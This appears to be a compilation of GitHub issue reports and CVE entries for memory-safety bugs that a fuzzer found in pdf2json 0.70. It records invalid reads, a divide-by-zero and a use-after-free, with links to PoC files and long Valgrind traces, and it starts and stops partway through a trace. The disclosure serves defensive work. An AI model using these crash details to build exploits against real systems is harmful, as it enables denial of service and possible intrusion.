PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf24 is 20 bytes after a block of size 100,352 alloc'd ==17382== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==17382== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432BC5: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== ==17382== Invalid read of size 4 ==17382== at 0x4354E3: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf28 is 24 bytes after a block of size 100,352 in arena "client" ==17382== ==17382== Invalid read of size 4 ==17382== at 0x435500: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf2c is 28 bytes after a block of size 100,352 in arena "client" ==17382== ==17382== Invalid read of size 1 ==17382== at 0x43698B: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x43555E: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x6feabb is not stack'd, malloc'd or (recently) free'd ==17382== ==17382== ==17382== Process terminating with default action of signal 11 (SIGSEGV) ==17382== Access not within mapped region at address 0x6FEABB ==17382== at 0x43698B: DCTStream::transformDataUnit(unsigned short*, int*, unsigned char*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x43555E: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== If you believe this happened as a result of a stack ==17382== overflow in your program's main thread (unlikely but ==17382== possible), you can try to increase the size of the ==17382== main thread stack using the --main-stacksize= flag. ==17382== The main thread stack size used in this run was 8388608. ==17382== ==17382== HEAP SUMMARY: ==17382== in use at exit: 518,164 bytes in 1,769 blocks ==17382== total heap usage: 1,978 allocs, 209 frees, 609,684 bytes allocated ==17382== ==17382== LEAK SUMMARY: ==17382== definitely lost: 16 bytes in 1 blocks ==17382== indirectly lost: 8 bytes in 1 blocks ==17382== possibly lost: 0 bytes in 0 blocks ==17382== still reachable: 518,140 bytes in 1,767 blocks ==17382== suppressed: 0 bytes in 0 blocks ==17382== Rerun with --leak-check=full to see details of leaked memory ==17382== ==17382== For counts of detected and suppressed errors, rerun with: -v ==17382== ERROR SUMMARY: 57 errors from 9 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

Aborted on DCTStream::decodeImage

https://api.github.com/repos/flexpaper/pdf2json/issues/32/comments

2019-05-28T23:23:25Z

2019-05-28T23:23:25Z

https://github.com/flexpaper/pdf2json/issues/32

CVE-2020-19472

2021-07-21T18:15:08.777

An issue has been found in function DCTStream::readHuffSym in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an invalid read of size 2 .

https://github.com/flexpaper/pdf2json/issues/33

github.com

Hi, Our fuzzer found a bug due to an invalid read on the function DCTStream::readHuffSym (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_ir_DCTStream::readHuffSym Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==8920== Memcheck, a memory error detector ==8920== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==8920== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==8920== Command: ./pdf2json ./PoC_ir_DCTStream::readHuffSym /dev/null ==8920== Error: PDF file is damaged - attempting to reconstruct xref table... Error (17141): Illegal character <5c> in hex string Error (17152): Illegal character <78> in hex string Error (105): Dictionary key must be a name object Error (154): Dictionary key must be a name object Error (165): Dictionary key must be a name object Error (528): Dictionary key must be a name object Error (530): Dictionary key must be a name object Error (532): Dictionary key must be a name object Error (536): Dictionary key must be a name object Error (539): Dictionary key must be a name object Error (545): Dictionary key must be a name object Error (8015): Command token too long Error (8143): Command token too long Error (8143): Missing 'endstream' ==8920== Invalid read of size 2 ==8920== at 0x436A05: DCTStream::readHuffSym(DCTHuffTable*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x434C67: DCTStream::readProgressiveDataUnit(DCTHuffTable*, DCTHuffTable*, int*, int*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x434765: DCTStream::readScan() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x432C49: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x40269A: main (pdf2json.cc:275) ==8920== Address 0x5b124e2 is 2 bytes after a block of size 32 alloc'd ==8920== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==8920== by 0x4877C8: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x40269A: main (pdf2json.cc:275) ==8920== ==8920== Invalid read of size 2 ==8920== at 0x436A1F: DCTStream::readHuffSym(DCTHuffTable*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x434C67: DCTStream::readProgressiveDataUnit(DCTHuffTable*, DCTHuffTable*, int*, int*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x434765: DCTStream::readScan() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x432C49: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==8920== by 0x40269A: main (pdf2json.cc:275) ==8920== Address 0x5b12504 is 28 bytes before a block of size 128 in arena "client" ==8920== Error (1759): Bad Huffman code in DCT stream Error (12887): Bad DCT header Error (12887): Unknown operator '������������������������������������������������������������������������������������������������' ... ==8920== ==8920== HEAP SUMMARY: ==8920== in use at exit: 72,744 bytes in 4 blocks ==8920== total heap usage: 2,947 allocs, 2,943 frees, 693,136 bytes allocated ==8920== ==8920== LEAK SUMMARY: ==8920== definitely lost: 32 bytes in 2 blocks ==8920== indirectly lost: 8 bytes in 1 blocks ==8920== possibly lost: 0 bytes in 0 blocks ==8920== still reachable: 72,704 bytes in 1 blocks ==8920== suppressed: 0 bytes in 0 blocks ==8920== Rerun with --leak-check=full to see details of leaked memory ==8920== ==8920== For counts of detected and suppressed errors, rerun with: -v ==8920== ERROR SUMMARY: 30 errors from 2 contexts (suppressed: 0 from 0) ~~~ Thanks, Manh Dung

Invalid read on DCTStream::readHuffSym

https://api.github.com/repos/flexpaper/pdf2json/issues/33/comments

2019-05-28T23:35:23Z

2019-05-28T23:35:23Z

https://github.com/flexpaper/pdf2json/issues/33

CVE-2020-19473

2021-07-21T18:15:08.810

An issue has been found in function DCTStream::decodeImage in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an uncaught floating point exception.

https://github.com/flexpaper/pdf2json/issues/34

github.com

Hi, Our fuzzer found a bug due to a floating point exception on the function DCTStream::decodeImage (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_fpe_DCTStream::decodeImage Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==3166== Memcheck, a memory error detector ==3166== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==3166== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==3166== Command: ./pdf2json ./PoC_fpe_DCTStream::decodeImage /dev/null ==3166== Error (13268): Command token too long Error (13372): Illegal character '>' Error: PDF file is damaged - attempting to reconstruct xref table... Error: End of file inside array Error: End of file inside dictionary Error (154): Dictionary key must be a name object Error (165): Dictionary key must be a name object Error (528): Dictionary key must be a name object Error (530): Dictionary key must be a name object Error (532): Dictionary key must be a name object Error (536): Dictionary key must be a name object Error (539): Dictionary key must be a name object Error (545): Dictionary key must be a name object Error (7892): Missing 'endstream' Error (12313): Bad DCT data: missing 00 after ff Error (12887): Bad DCT header ==3166== ==3166== Process terminating with default action of signal 8 (SIGFPE) ==3166== Integer divide by zero at address 0x802EBDD05 ==3166== at 0x43533F: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==3166== by 0x40269A: main (pdf2json.cc:275) ==3166== ==3166== HEAP SUMMARY: ==3166== in use at exit: 263,639 bytes in 1,768 blocks ==3166== total heap usage: 1,973 allocs, 205 frees, 355,024 bytes allocated ==3166== ==3166== LEAK SUMMARY: ==3166== definitely lost: 16 bytes in 1 blocks ==3166== indirectly lost: 8 bytes in 1 blocks ==3166== possibly lost: 0 bytes in 0 blocks ==3166== still reachable: 263,615 bytes in 1,766 blocks ==3166== suppressed: 0 bytes in 0 blocks ==3166== Rerun with --leak-check=full to see details of leaked memory ==3166== ==3166== For counts of detected and suppressed errors, rerun with: -v ==3166== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) Floating point exception ~~~ Thanks, Manh Dung

Floating point exception on DCTStream::decodeImage

https://api.github.com/repos/flexpaper/pdf2json/issues/34/comments

2019-05-29T07:15:38Z

2019-05-29T07:15:38Z

https://github.com/flexpaper/pdf2json/issues/34

CVE-2020-19474

2021-07-21T18:15:08.847

An issue has been found in function Gfx::doShowText in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an Use After Free .

https://github.com/flexpaper/pdf2json/issues/35

github.com

Hi, Our fuzzer found a crash due to an Use After Free bug on the function Gfx::doShowText (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_uaf_Gfx::doShowText Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==22556== Memcheck, a memory error detector ==22556== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==22556== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==22556== Command: ./pdf2json ./PoC_uaf_Gfx::doShowText /dev/null ==22556== ... ==22556== Invalid read of size 8 ==22556== at 0x462BD5: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2b040 is 0 bytes inside a block of size 4,584 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46C5E3: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x469005: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x4031FB: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:81) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2b0e0 is 160 bytes inside a block of size 4,584 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46C5E3: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x469005: GfxFont::makeFont(XRef*, 